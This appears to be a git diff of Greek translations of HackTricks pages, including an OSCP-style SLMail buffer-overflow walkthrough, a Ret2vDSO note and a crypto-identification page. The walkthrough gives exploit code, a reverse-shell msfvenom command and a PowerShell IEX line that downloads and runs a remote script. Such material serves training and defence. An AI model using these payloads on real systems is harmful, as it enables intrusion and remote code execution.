* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Συμμετέχετε** 💬 [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Κοινοποιήστε τεχνικές χάκινγκ υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}

View file

@ -1,24 +1,25 @@
# Ret2vDSO
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team AWS του HackTricks)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** 💬 [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα χάκερ υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>
{% endhint %}
## Βασικές Πληροφορίες
Μπορεί να υπάρχουν **gadgets στην περιοχή vDSO**, η οποία χρησιμοποιείται για τη μετάβαση από τη λειτουργία χρήστη στη λειτουργία πυρήνα. Σε αυτού του τύπου τις προκλήσεις, συνήθως παρέχεται μια εικόνα πυρήνα για να γίνει απορρόφηση της περιοχής vDSO.
Ακολουθώντας το παράδειγμα από [https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/) είναι δυνατόν να δούμε πώς ήταν δυνατόν να γίνει απορρόφηση της ενότητας vdso και να μεταφερθεί στον κεντρικό υπολογιστή με:
Ακολουθώντας το παράδειγμα από [https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/) είναι δυνατόν να δούμε πώς ήταν δυνατόν να γίνει απορρόφηση της ενότητας vdso και να μεταφερθεί στον υπολογιστή με:
```bash
# Find addresses
cat /proc/76/maps
@ -69,22 +70,23 @@ pop_ebx_pop_esi_pop_ebp_ret = vdso_addr + 0x15cd
### ARM64
Μετά την απορρόφηση και έλεγχο της ενότητας vdso ενός δυαδικού στο kali 2023.2 arm64, δεν μπόρεσα να βρω εκεί κάποιο ενδιαφέρον gadget (καμία δυνατότητα να ελέγξω τους καταχωρητές από τιμές στη στοίβα ή να ελέγξω το x30 για ένα ret) **εκτός από έναν τρόπο να καλέσω ένα SROP**. Ελέγξτε περισσότερες πληροφορίες στο παράδειγμα από τη σελίδα:
Μετά την απορρόφηση και έλεγχο της ενότητας vdso ενός δυαδικού στο kali 2023.2 arm64, δεν μπόρεσα να βρω εκεί κάποιο ενδιαφέρον gadget (καμία δυνατότητα ελέγχου καταχωρητών από τιμές στη στοίβα ή ελέγχου του x30 για ένα ret) **εκτός από έναν τρόπο να καλέσετε ένα SROP**. Ελέγξτε περισσότερες πληροφορίες στο παράδειγμα από τη σελίδα:
{% content-ref url="srop-sigreturn-oriented-programming/srop-arm64.md" %}
[srop-arm64.md](srop-sigreturn-oriented-programming/srop-arm64.md)
{% endcontent-ref %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Συμμετέχετε** 💬 στην [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Κοινοποιήστε κόλπα χάκερ υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Windows Exploiting (Βασικός Οδηγός - OSCP επίπεδο)
# Εκμετάλλευση Windows (Βασικός Οδηγός - OSCP επίπεδο)
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** 💬 [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}
## **Ξεκινήστε την εγκατάσταση της υπηρεσίας SLMail**
@ -22,7 +23,7 @@
```
net start slmail
```
![](<../.gitbook/assets/image (985).png>)
![](<../.gitbook/assets/image (988).png>)
## Πολύ βασικό πρότυπο εκμετάλλευσης σε Python
```python
@ -46,7 +47,7 @@ print "\nFinished!."
except:
print "Could not connect to "+ip+":"+port
```
## **Αλλαγή γραμματοσειράς στο Immunity Debugger**
## **Αλλαγή της γραμματοσειράς στο Immunity Debugger**
Πηγαίνετε σε `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK`
@ -54,33 +55,33 @@ print "Could not connect to "+ip+":"+port
**File --> Attach**
![](<../.gitbook/assets/image (866).png>)
![](<../.gitbook/assets/image (869).png>)
**Και πατήστε το κουμπί START**
## **Αποστολή του exploit και έλεγχος εάν το EIP επηρεάζεται:**
![](<../.gitbook/assets/image (903).png>)
![](<../.gitbook/assets/image (906).png>)
Κάθε φορά που διακόπτετε την υπηρεσία, πρέπει να την επανεκκινήσετε, όπως υποδεικνύεται στην αρχή αυτής της σελίδας.
## Δημιουργία ενός προτύπου για την τροποποίηση του EIP
## Δημιουργία ενός μοτίβου για την τροποποίηση του EIP
Το πρότυπο πρέπει να είναι τόσο μεγάλο όσο το buffer που χρησιμοποιήσατε για να διακόψετε την υπηρεσία προηγουμένως.
Το μοτίβο πρέπει να είναι τόσο μεγάλο όσο το buffer που χρησιμοποιήσατε για να διακόψετε την υπηρεσία προηγουμένως.
![](<../.gitbook/assets/image (417).png>)
![](<../.gitbook/assets/image (420).png>)
```
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
```
Αλλάξτε το buffer του exploit και ορίστε το pattern και εκτελέστε το exploit.
Αλλάξτε το buffer του exploit και ορίστε το μοτίβο και εκτελέστε το exploit.
Θα πρέπει να εμφανιστεί ένα νέο crash, αλλά με διαφορετική διεύθυνση EIP:
![](<../.gitbook/assets/image (633).png>)
![](<../.gitbook/assets/image (636).png>)
Ελέγξτε εάν η διεύθυνση βρίσκεται στο pattern σας:
Ελέγξτε αν η διεύθυνση βρίσκεται στο μοτίβο σας:
![](<../.gitbook/assets/image (415).png>)
![](<../.gitbook/assets/image (418).png>)
```
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438
```
@ -90,17 +91,17 @@ print "Could not connect to "+ip+":"+port
```
buffer = 'A'*2606 + 'BBBB' + 'CCCC'
```
Με αυτό το buffer ο EIP που κρασάρισε θα πρέπει να δείχνει στο 42424242 ("BBBB")
Με αυτό το buffer το EIP που κρασάρισε θα πρέπει να δείχνει στο 42424242 ("BBBB")
![](<../.gitbook/assets/image (871).png>)
![](<../.gitbook/assets/image (874).png>)
![](<../.gitbook/assets/image (89).png>)
![](<../.gitbook/assets/image (92).png>)
Φαίνεται ότι λειτουργεί.
## Έλεγχος για χώρο Shellcode μέσα στο stack
Τα 600 bytes θα πρέπει να είναι αρκετά για οποιοδήποτε ισχυρό shellcode.
600B θα πρέπει να είναι αρκετά για οποιοδήποτε ισχυρό shellcode.
Ας αλλάξουμε το buffer:
```
@ -108,9 +109,9 @@ buffer = 'A'*2606 + 'BBBB' + 'C'*600
```
Εκκινήστε το νέο exploit και ελέγξτε το EBP και το μήκος του χρήσιμου shellcode
![](<../.gitbook/assets/image (116).png>)
![](<../.gitbook/assets/image (119).png>)
![](<../.gitbook/assets/image (876).png>)
![](<../.gitbook/assets/image (879).png>)
Μπορείτε να δείτε ότι όταν φτάσει η ευπάθεια, το EBP δείχνει στο shellcode και ότι έχουμε αρκετό χώρο για να τοποθετήσουμε ένα shellcode εδώ.
@ -140,7 +141,7 @@ badchars = (
)
buffer = 'A'*2606 + 'BBBB' + badchars
```
Τα badchars ξεκινούν από το 0x01 επειδή το 0x00 σχεδόν πάντα είναι κακό.
Τα badchars ξεκινούν στο 0x01 επειδή το 0x00 σχεδόν πάντα είναι κακό.
Εκτελέστε επανειλημμένα την εκμετάλλευση με αυτό το νέο buffer διαγράφοντας τα χαρακτήρες που θεωρούνται άχρηστοι:.
@ -148,11 +149,11 @@ buffer = 'A'*2606 + 'BBBB' + badchars
Σε αυτήν την περίπτωση μπορείτε να δείτε ότι **δεν πρέπει να χρησιμοποιήσετε τον χαρακτήρα 0x0A** (δεν αποθηκεύεται τίποτα στη μνήμη αφού ο χαρακτήρας 0x09).
![](<../.gitbook/assets/image (108).png>)
![](<../.gitbook/assets/image (111).png>)
Σε αυτήν την περίπτωση μπορείτε να δείτε ότι **ο χαρακτήρας 0x0D αποφεύγεται**:
![](<../.gitbook/assets/image (1095).png>)
![](<../.gitbook/assets/image (1098).png>)
## Βρείτε ένα JMP ESP ως διεύθυνση επιστροφής
@ -160,7 +161,7 @@ buffer = 'A'*2606 + 'BBBB' + badchars
```
!mona modules #Get protections, look for all false except last one (Dll of SO)
```
Θα **καταχωρήσετε τους χάρτες μνήμης**. Αναζητήστε κάποιο DLl που έχει:
Θα **καταχωρήσετε τους χάρτες μνήμης**. Αναζητήστε κάποιο DLL που έχει:
* **Rebase: False**
* **SafeSEH: False**
@ -168,16 +169,16 @@ buffer = 'A'*2606 + 'BBBB' + badchars
* **NXCompat: False**
* **OS Dll: True**
![](<../.gitbook/assets/image (552).png>)
![](<../.gitbook/assets/image (555).png>)
Τώρα, μέσα σε αυτή τη μνήμη θα πρέπει να βρείτε μερικά bytes JMP ESP, για να το κάνετε αυτό εκτελέστε:
```
!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case
```
**Στη συνέχεια, αν βρεθεί μια διεύθυνση, επιλέξτε μία που δεν περιέχει κανένα "κακό χαρακτήρα":**
**Στη συνέχεια, αν βρεθεί μια διεύθυνση, επιλέξτε μία που δεν περιέχει κανένα κακό χαρακτήρα:**
![](<../.gitbook/assets/image (602).png>)
![](<../.gitbook/assets/image (605).png>)
**Σε αυτήν την περίπτωση, για παράδειγμα: \_0x5f4a358f**\_
@ -186,9 +187,9 @@ buffer = 'A'*2606 + 'BBBB' + badchars
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d'
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d'
```
Αν το exploit δεν λειτουργεί αλλά θα έπρεπε (μπορείτε να δείτε με το ImDebg ότι ο κώδικας shell έχει εκτελεστεί), δοκιμάστε να δημιουργήσετε άλλους κώδικες shell (με το msfvenom θα δημιουργήσετε διαφορετικούς κώδικες shell για τις ίδιες παραμέτρους).
Εάν το exploit δεν λειτουργεί αλλά θα έπρεπε (μπορείτε να δείτε με το ImDebg ότι ο κώδικας κελύφους επιτυγχάνεται), δοκιμάστε να δημιουργήσετε άλλους κώδικες κελύφους (ο msfvenom θα δημιουργήσει διαφορετικούς κώδικες κελύφους για τις ίδιες παραμέτρους).
**Προσθέστε μερικά NOPS στην αρχή** του κώδικα shell και χρησιμοποιήστε τον κώδικα και τη διεύθυνση επιστροφής για να γίνει άλμα στο ESP, και ολοκληρώστε το exploit:
**Προσθέστε μερικά NOPS στην αρχή** του κώδικα κελύφους και χρησιμοποιήστε τον κώδικα κελύφους και τη διεύθυνση επιστροφής για να γίνει άλμα στο ESP, και ολοκληρώστε το exploit:
```bash
#!/usr/bin/python
@ -247,16 +248,17 @@ print "Could not connect to "+ip+":"+port
```bash
EXITFUNC=thread -e x86/shikata_ga_nai
```
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** 💬 [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Κοινοποιήστε τεχνικές χάκινγκ υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}

View file

@ -2,23 +2,24 @@
## Κρυπτογραφικοί/Αλγόριθμοι Συμπίεσης
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Κοινοποιήστε κόλπα χάκερ υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}
## Αναγνώριση Αλγορίθμων
Εάν καταλήξετε σε κώδικα **που χρησιμοποιεί δεξιές και αριστερές μετατοπίσεις, XOR και πολλές αριθμητικές πράξεις**, είναι πολύ πιθανό ότι πρόκειται για την υλοποίηση ενός **κρυπτογραφικού αλγορίθμου**. Εδώ θα παρουσιαστούν ορισμένοι τρόποι για να **αναγνωρίσετε τον αλγόριθμο που χρησιμοποιείται χωρίς να χρειάζεται να αναστρέψετε κάθε βήμα**.
Εάν end σε έναν κώδικα **χρησιμοποιώντας μετατοπίσεις δεξιά και αριστερά, XOR και αρκετές αριθμητικές πράξεις** είναι πολύ πιθανό ότι είναι η υλοποίηση ενός **κρυπτογραφικού αλγορίθμου**. Εδώ θα δείξουμε κάποιους τρόπους για **αναγνώριση του αλγορίθμου που χρησιμοποιείται χωρίς την ανάγκη αντιστροφής κάθε βήματος**.
### Συναρτήσεις API
@ -26,47 +27,94 @@
Εάν χρησιμοποιείται αυτή η συνάρτηση, μπορείτε να βρείτε ποιος **αλγόριθμος χρησιμοποιείται** ελέγχοντας την τιμή της δεύτερης παραμέτρου:
![](<../../.gitbook/assets/image (375) (1) (1) (1) (1).png>)
![](<../../.gitbook/assets/image (156).png>)
Ελέγξτε εδώ τον πίνακα των πιθανών αλγορίθμων και των αντιστοιχισμένων τιμών τους: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
**RtlCompressBuffer/RtlDecompressBuffer**
Συμπιέζει και αποσυμπιέζει έναν δοσμένο πίνακα δεδομένων.
Συμπιέζει και αποσυμπιέζει ένα δεδομένο buffer.
**CryptAcquireContext**
Από [τα έγγραφα](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): Η συνάρτηση **CryptAcquireContext** χρησιμοποιείται για να αποκτήσει ένα χειριστή για ένα συγκεκριμένο δοχείο κλειδιών εντός ενός συγκεκριμένου παρόχου κρυπτογραφικών υπηρεσιών (CSP). **Αυτός ο χειριστής που επιστρέφεται χρησιμοποιείται σε κλήσεις συναρτήσεων CryptoAPI** που χρησιμοποιούν τον επιλεγμένο CSP.
Από [τα έγγραφα](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): Η συνάρτηση **CryptAcquireContext** χρησιμοποιείται για να αποκτήσει ένα χειριστή για ένα συγκεκριμένο δοχείο κλειδιών εντός ενός συγκεκριμένου παρόχου κρυπτογραφικών υπηρεσιών (CSP). **Αυτός ο επιστρεφόμενος χειριστής χρησιμοποιείται σε κλήσεις συναρτήσεων CryptoAPI** που χρησιμοποιούν τον επιλεγμένο CSP.
**CryptCreateHash**
Ξεκινά τον υπολογισμό του κατακερματισμού ενός ρεύματος δεδομένων. Εάν χρησιμοποιείται αυτή η συνάρτηση, μπορείτε να βρείτε ποιος **αλγόριθμος χρησιμοποιείται** ελέγχοντας την τιμή της δεύτερης παραμέτρου:
Εκκινεί την κατακερματισμό ενός ρεύματος δεδομένων. Εάν χρησιμοποιείται αυτή η συνάρτηση, μπορείτε να βρείτε ποιος **αλγόριθμος χρησιμοποιείται** ελέγχοντας την τιμή της δεύτερης παραμέτρου:
![](<../../.gitbook/assets/image (376).png>)
![](<../../.gitbook/assets/image (549).png>)
\
Ελέγξτε εδώ τον πίνακα των πιθανών αλγορίθμων και των αντιστοιχισμένων τιμών τους: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
### Σταθερές κώδικα
Μερικές φορές είναι πολύ εύκολο να αναγνωρίσετε έναν αλγόριθμο χάρη στο γεγονός ότι χρειάζεται να χρησιμοποιήσει μια ειδική και μοναδική τιμή.
Μερικές φορές είναι πραγματικά εύκολο να αναγνωρίσετε έναν αλγόριθμο χάρη στο γεγονός ότι χρειάζεται να χρησιμοποιήσει μια ειδική και μοναδική τιμή.
![](<../../.gitbook/assets/image (370).png>)
![](<../../.gitbook/assets/image (833).png>)
Εά
## RSA **(Ασύμμετρη Κρυπτογραφία)**
Εάν αναζητήσετε την πρώτη σταθερά στο Google, αυτό είναι το αποτέλεσμα:
![](<../../.gitbook/assets/image (529).png>)
Συνεπώς, μπορείτε να υποθέσετε ότι η αποσυναρμολογημένη συνάρτηση είναι ένας **υπολογιστής sha256.**\
Μπορείτε να αναζητήσετε οποιαδήποτε άλλη σταθερά και θα λάβετε (πιθανόν) το ίδιο αποτέλεσμα.
### Πληροφορίες δεδομένων
Εάν ο κώδικας δεν έχει κάποια σημαντική σταθερά, μπορεί να **φορτώνει πληροφορίες από την ενότητα .data**.\
Μπορείτε να έχετε πρόσβαση σε αυτά τα δεδομένα, **να ομαδοποιήσετε τον πρώτο λέξη** και να το αναζητήσετε στο Google όπως κάναμε στην προηγούμενη ενότητα:
![](<../../.gitbook/assets/image (531).png>)
Σε αυτήν την περίπτωση, αν αναζητήσετε το **0xA56363C6** θα βρείτε ότι σχετίζεται με τις **πίνακες του αλγορίθμου AES**.
## RC4 **(Συμμετρική Κρυπτογραφία)**
### Χαρακτηριστικά
